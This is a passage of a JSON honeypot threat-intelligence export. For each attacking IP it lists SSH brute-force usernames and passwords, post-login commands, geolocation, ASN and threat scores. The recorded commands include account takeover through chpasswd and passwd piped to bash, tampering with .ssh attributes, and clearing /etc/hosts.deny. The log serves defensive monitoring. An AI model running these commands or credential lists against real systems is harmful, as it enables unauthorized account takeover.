        "345gs5662d34",
        "casaos",
        "cms",
        "game",
        "real",
        "admin",
        "azureuser",
        "choi",
        "dev",
        "f",
        "franco",
        "gianluca",
        "hh",
        "lg",
        "linda",
        "louis",
        "maintainer",
        "mosquitto",
        "panda"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "111",
        "1200",
        "123",
        "1234_QWER",
        "Aa123456",
        "N2dos2025sd",
        "P@ssw0rd",
        "P@ssw0rd#2025",
        "Panda",
        "Qwer@2025",
        "Roland2024",
        "Root2020",
        "Will",
        "Y3sw3c0m@",
        "a5201314",
        "abcdn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nGajZK2NWeASR\\nGajZK2NWeASR\\n\"|passwd",
        "echo \"12345\\nL9haKOAn3BhW\\nL9haKOAn3BhW\\n\"|passwd",
        "echo \"cms123\\nL7C0G7ltxbWn\\nL7C0G7ltxbWn\\n\"|passwd",
        "echo \"password\\nwE3YW2GZJLQz\\nwE3YW2GZJLQz\\n\"|passwd",
        "echo \"root:Tuiowvlu4yKH\"|chpasswd|bash",
        "echo \"root:legIHouWRfrU\"|chpasswd|bash",
        "echo -e \"12345678\\nGajZK2NWeASR\\nGajZK2NWeASR\"|passwd|bash",
        "echo -e \"12345\\nL9haKOAn3BhW\\nL9haKOAn3BhW\"|passwd|bash",
        "echo -e \"cms123\\nL7C0G7ltxbWn\\nL7C0G7ltxbWn\"|passwd|bash",
        "echo -e \"password\\nwE3YW2GZJLQz\\nwE3YW2GZJLQz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 45.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 749,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T00:35:19.855000+00:00",
        "last_seen_30d": "2026-03-28T14:31:42.611000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 622,
        "Suricata": 127
      }
    },
    "171.25.158.68": {
      "attack_count": 569,
      "first_seen": "2026-03-07T23:19:04.643Z",
      "last_seen": "2026-03-12T10:42:06.698Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ai",
        "kanban",
        "sunshine",
        "testuser",
        "ts3",
        "username",
        "admin",
        "apagar",
        "azuracast",
        "beehive",
        "claude",
        "cvs",
        "ghost",
        "hzy",
        "intel",
        "linux",
        "marek",
        "reolink"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "password",
        "123",
        "1233218613",
        "12345678",
        "228228",
        "Abc123!!!",
        "Qwert!2345",
        "Sai123",
        "Server2026",
        "Testing123",
        "Ve123!",
        "admin1234",
        "apagar123!",
        "beehive123!",
        "claude123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nAdvc1FpAnSxc\\nAdvc1FpAnSxc\\n\"|passwd",
        "echo \"123456\\nhYXGeYzA7hm1\\nhYXGeYzA7hm1\\n\"|passwd",
        "echo \"1234\\neCtoo17kTB4N\\neCtoo17kTB4N\\n\"|passwd",
        "echo \"123\\n1ss28FzE7Fhn\\n1ss28FzE7Fhn\\n\"|passwd",
        "echo \"pass\\n9fYJF4nFM5nV\\n9fYJF4nFM5nV\\n\"|passwd",
        "echo \"password\\nDKc2CX1LeDQj\\nDKc2CX1LeDQj\\n\"|passwd",
        "echo -e \"123456\\nAdvc1FpAnSxc\\nAdvc1FpAnSxc\"|passwd|bash",
        "echo -e \"123456\\nhYXGeYzA7hm1\\nhYXGeYzA7hm1\"|passwd|bash",
        "echo -e \"1234\\neCtoo17kTB4N\\neCtoo17kTB4N\"|passwd|bash",
        "echo -e \"123\\n1ss28FzE7Fhn\\n1ss28FzE7Fhn\"|passwd|bash",
        "echo -e \"pass\\n9fYJF4nFM5nV\\n9fYJF4nFM5nV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 667,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T23:19:04.643000+00:00",
        "last_seen_30d": "2026-03-12T10:43:13.026000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 569,
        "Suricata": 98
      }
    },
    "14.225.217.138": {
      "attack_count": 567,
      "first_seen": "2026-03-10T08:08:50.681Z",
      "last_seen": "2026-03-22T13:35:56.960Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ami",
        "clawd",
        "elearn",
        "leonard",
        "max",
        "old",
        "postgres",
        "administrator",
        "ai",
        "amir",
        "arch",
        "charles",
        "eder",
        "ernesto",
        "ferry",
        "john",
        "koha",
        "live",
        "m1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "password",
        "1",
        "1234",
        "123456",
        "Aa@1234567",
        "Eder123",
        "Elearn123",
        "M1123",
        "administratorpass",
        "ami",
        "amir",
        "arch123",
        "charles",
        "ernestopass",
        "john",
        "kohapassword"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\neUR4bed3bg9q\\neUR4bed3bg9q\\n\"|passwd",
        "echo \"12345\\nEIvr0Rmt4hLZ\\nEIvr0Rmt4hLZ\\n\"|passwd",
        "echo \"1\\nwrAHvZnnIzrC\\nwrAHvZnnIzrC\\n\"|passwd",
        "echo \"Elearn123\\nN6xqs11mUiaD\\nN6xqs11mUiaD\\n\"|passwd",
        "echo \"ami\\nSJo2Gijf6HUk\\nSJo2Gijf6HUk\\n\"|passwd",
        "echo \"postgres123\\nOsUgt8b7cf9d\\nOsUgt8b7cf9d\\n\"|passwd",
        "echo -e \"123456\\neUR4bed3bg9q\\neUR4bed3bg9q\"|passwd|bash",
        "echo -e \"12345\\nEIvr0Rmt4hLZ\\nEIvr0Rmt4hLZ\"|passwd|bash",
        "echo -e \"1\\nwrAHvZnnIzrC\\nwrAHvZnnIzrC\"|passwd|bash",
        "echo -e \"Elearn123\\nN6xqs11mUiaD\\nN6xqs11mUiaD\"|passwd|bash",
        "echo -e \"ami\\nSJo2Gijf6HUk\\nSJo2Gijf6HUk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 662,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:08:50.681000+00:00",
        "last_seen_30d": "2026-03-22T13:36:58.632000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 567,
        "Suricata": 95
      }
    },
    "170.64.199.87": {
      "attack_count": 525,
      "first_seen": "2026-03-16T05:19:11.613Z",
      "last_seen": "2026-03-16T07:19:58.745Z",
      "sessions": 104,
      "ports": [],
      "usernames_attempted": [
        "administrator",
        "ftpuser",
        "mysql",
        "oracle",
        "pi",
        "postgres",
        "admin",
        "guest",
        "root",
        "test",
        "ubuntu",
        "user",
        "backup"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "12345678",
        "123456789",
        "password",
        "qwerty",
        "123456",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 757,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T05:19:11.613000+00:00",
        "last_seen_30d": "2026-03-16T07:21:02.453000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 525,
        "Suricata": 232
      }
    },
    "103.20.223.56": {
      "attack_count": 494,
      "first_seen": "2026-03-04T14:11:47.996Z",
      "last_seen": "2026-03-22T21:44:18.303Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frank",
        "huang",
        "ll",
        "wpuser",
        "ali",
        "bai",
        "bbb",
        "chat",
        "erwin",
        "ivan",
        "kafka",
        "ken",
        "kk",
        "marcelo",
        "mitra",
        "mobiquity",
        "ociispth",
        "testme"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "123456",
        "12345678",
        "Ab123456+",
        "Changeme_1234",
        "Chat123!",
        "INTERNAT",
        "Ken123",
        "QWEasd123!",
        "Qweqwe123",
        "Qwerty123!",
        "Test123456",
        "aaaaaa",
        "admin@12345",
        "ali",
        "bai"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nXm9Vf7Qtxvdu\\nXm9Vf7Qtxvdu\\n\"|passwd",
        "echo \"123\\nnczVL1nVpuDT\\nnczVL1nVpuDT\\n\"|passwd",
        "echo \"123\\nyCfa9J52CrqK\\nyCfa9J52CrqK\\n\"|passwd",
        "echo \"frank\\nWdq7WSWKC8ke\\nWdq7WSWKC8ke\\n\"|passwd",
        "echo \"root:DRLcHwDFmwSc\"|chpasswd|bash",
        "echo -e \"123456\\nXm9Vf7Qtxvdu\\nXm9Vf7Qtxvdu\"|passwd|bash",
        "echo -e \"123\\nnczVL1nVpuDT\\nnczVL1nVpuDT\"|passwd|bash",
        "echo -e \"123\\nyCfa9J52CrqK\\nyCfa9J52CrqK\"|passwd|bash",
        "echo -e \"frank\\nWdq7WSWKC8ke\\nWdq7WSWKC8ke\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 38.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 588,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:11:47.996000+00:00",
        "last_seen_30d": "2026-03-22T21:45:23.671000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 494,
        "Suricata": 94
      }
    },
    "157.245.194.203": {
      "attack_count": 454,
      "first_seen": "2026-03-05T15:25:30.528Z",
      "last_seen": "2026-03-06T09:25:32.809Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "bhavesh",
        "ftpuser2",
        "amp",
        "bot",
        "ftp_test",
        "test",
        "ttt",
        "wiki",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!@QW12qw",
        "123456",
        "12345678",
        "123456aA!",
        "@qwer2024",
        "@qwer2025",
        "A123456123",
        "A1234567J",
        "Aa-2026",
        "Amp123",
        "Ds123456",
        "Ftp_test123!",
        "P@ssw0rd",
        "P@ssw0rd1381",
        "Test!2#4",
        "a123456w",
        "aB123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nWoOKlufpJdv6\\nWoOKlufpJdv6\\n\"|passwd",
        "echo \"A123456123\\nCj4riPdqBqzW\\nCj4riPdqBqzW\\n\"|passwd",
        "echo \"P@ssw0rd1381\\nXMNAVL5AOtk0\\nXMNAVL5AOtk0\\n\"|passwd",
        "echo \"bhavesh\\njmKn2PYYwNGR\\njmKn2PYYwNGR\\n\"|passwd",
        "echo \"root:8RCFueBjkc7a\"|chpasswd|bash",
        "echo -e \"123456\\nWoOKlufpJdv6\\nWoOKlufpJdv6\"|passwd|bash",
        "echo -e \"A123456123\\nCj4riPdqBqzW\\nCj4riPdqBqzW\"|passwd|bash",
        "echo -e \"P@ssw0rd1381\\nXMNAVL5AOtk0\\nXMNAVL5AOtk0\"|passwd|bash",
        "echo -e \"bhavesh\\njmKn2PYYwNGR\\njmKn2PYYwNGR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 530,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:25:30.528000+00:00",
        "last_seen_30d": "2026-03-06T09:26:36.198000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 454,
        "Suricata": 76
      }
    },
    "155.4.245.222": {
      "attack_count": 445,
      "first_seen": "2026-03-17T17:40:10.921Z",
      "last_seen": "2026-03-25T00:15:11.952Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "apexuser",
        "g",
        "java",
        "yan",
        "ys",
        "ax",
        "b",
        "dheeraj",
        "elastic",
        "kusanagi",
        "mc",
        "odoo12",
        "pyramid",
        "root",
        "simeon",
        "test",
        "ttt",
        "user123",
        "username"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "1",
        "1234",
        "12345678",
        "axpass",
        "b123!",
        "dheeraj123",
        "java1234",
        "kusanagipass",
        "lol",
        "mc@123",
        "odoo121234",
        "password",
        "pyramid123",
        "yan123!",
        "ys1234",
        "zhao1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ndLzUX6eUbYHI\\ndLzUX6eUbYHI\\n\"|passwd",
        "echo \"123456\\ntRmbvny4tGVX\\ntRmbvny4tGVX\\n\"|passwd",
        "echo \"java1234\\nrTLDH9V1oc76\\nrTLDH9V1oc76\\n\"|passwd",
        "echo \"yan123!\\n6fUeAcL9lejD\\n6fUeAcL9lejD\\n\"|passwd",
        "echo \"ys1234\\nUcLpzsXx94ir\\nUcLpzsXx94ir\\n\"|passwd",
        "echo -e \"12345678\\ndLzUX6eUbYHI\\ndLzUX6eUbYHI\"|passwd|bash",
        "echo -e \"123456\\ntRmbvny4tGVX\\ntRmbvny4tGVX\"|passwd|bash",
        "echo -e \"java1234\\nrTLDH9V1oc76\\nrTLDH9V1oc76\"|passwd|bash",
        "echo -e \"yan123!\\n6fUeAcL9lejD\\n6fUeAcL9lejD\"|passwd|bash",
        "echo -e \"ys1234\\nUcLpzsXx94ir\\nUcLpzsXx94ir\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Helsingborg",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 514,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T17:40:10.921000+00:00",
        "last_seen_30d": "2026-03-25T00:16:16.445000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 69
      }
    },
    "197.5.145.114": {
      "attack_count": 437,
      "first_seen": "2026-03-03T11:19:20.589Z",
      "last_seen": "2026-03-20T04:06:41.952Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jessica",
        "openerp",
        "deploy",
        "fred",
        "kali",
        "notes",
        "sean",
        "shoutcast",
        "speedtest",
        "tin",
        "tmp",
        "ubuntu",
        "userftp",
        "website"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "123",
        "1234",
        "12345Qwerty",
        "123abc321",
        "77777777",
        "Bingo@1993",
        "Kali",
        "Passw0rd",
        "Sean",
        "Shoutcast123!",
        "Website123!",
        "a123456*",
        "deploypass",
        "fred@123456",
        "jessica@123456",
        "kubeadmin",
        "openerp",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"jessica@123456\\npSXUtQZY312n\\npSXUtQZY312n\\n\"|passwd",
        "echo \"openerp\\nZ7cjrUXkkPvm\\nZ7cjrUXkkPvm\\n\"|passwd",
        "echo \"root:0yCcRGnxWKUE\"|chpasswd|bash",
        "echo \"root:BhgUBSRykrWm\"|chpasswd|bash",
        "echo \"root:pQWuasUxB4PY\"|chpasswd|bash",
        "echo -e \"jessica@123456\\npSXUtQZY312n\\npSXUtQZY312n\"|passwd|bash",
        "echo -e \"openerp\\nZ7cjrUXkkPvm\\nZ7cjrUXkkPvm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 512,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:19:20.589000+00:00",
        "last_seen_30d": "2026-03-29T04:07:18.953000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 75
      }
    },
    "206.189.80.102": {
      "attack_count": 431,
      "first_seen": "2026-03-18T15:34:09.041Z",
      "last_seen": "2026-03-31T19:02:56.388Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "brian",
        "xray",
        "caja01",
        "haoyu",
        "helen",
        "i",
        "io",
        "kapsch",
        "kyt",
        "lek",
        "sa",
        "saeed",
        "service",
        "sipv",
        "sshuser",
        "svt",
        "teamspeak",
        "ubnt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "1234",
        "12345678",
        "123qwe.",
        "20240221",
        "21vianet.com",
        "963852",
        "ASDqwe123!@#",
        "ChangeMe123!",
        "Dd123456789",
        "Dp123123",
        "Haoyu123",
        "I123!",
        "Q!w2E#r4",
        "QQ12345",
        "Qaz147258",
        "Sipv"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nIwoq5tPAXw11\\nIwoq5tPAXw11\\n\"|passwd",
        "echo \"root:5NFiyRcyGimE\"|chpasswd|bash",
        "echo \"xray\\nH7vI9tG8PY2w\\nH7vI9tG8PY2w\\n\"|passwd",
        "echo -e \"1234\\nIwoq5tPAXw11\\nIwoq5tPAXw11\"|passwd|bash",
        "echo -e \"xray\\nH7vI9tG8PY2w\\nH7vI9tG8PY2w\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 553,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:34:09.041000+00:00",
        "last_seen_30d": "2026-03-31T19:04:01.129000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 431,
        "Suricata": 122
      }
    },
    "51.183.250.100": {
      "attack_count": 406,
      "first_seen": "2026-03-14T08:53:22.609Z",
      "last_seen": "2026-03-22T10:24:38.475Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "harry",
        "lu",
        "mosquitto",
        "ubuntu",
        "alvin",
        "asterisk",
        "client",
        "comercial",
        "eddy",
        "gbase",
        "joan",
        "maintain",
        "marcelo",
        "mongodb",
        "mukesh",
        "mysftp",
        "opc",
        "player"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1234",
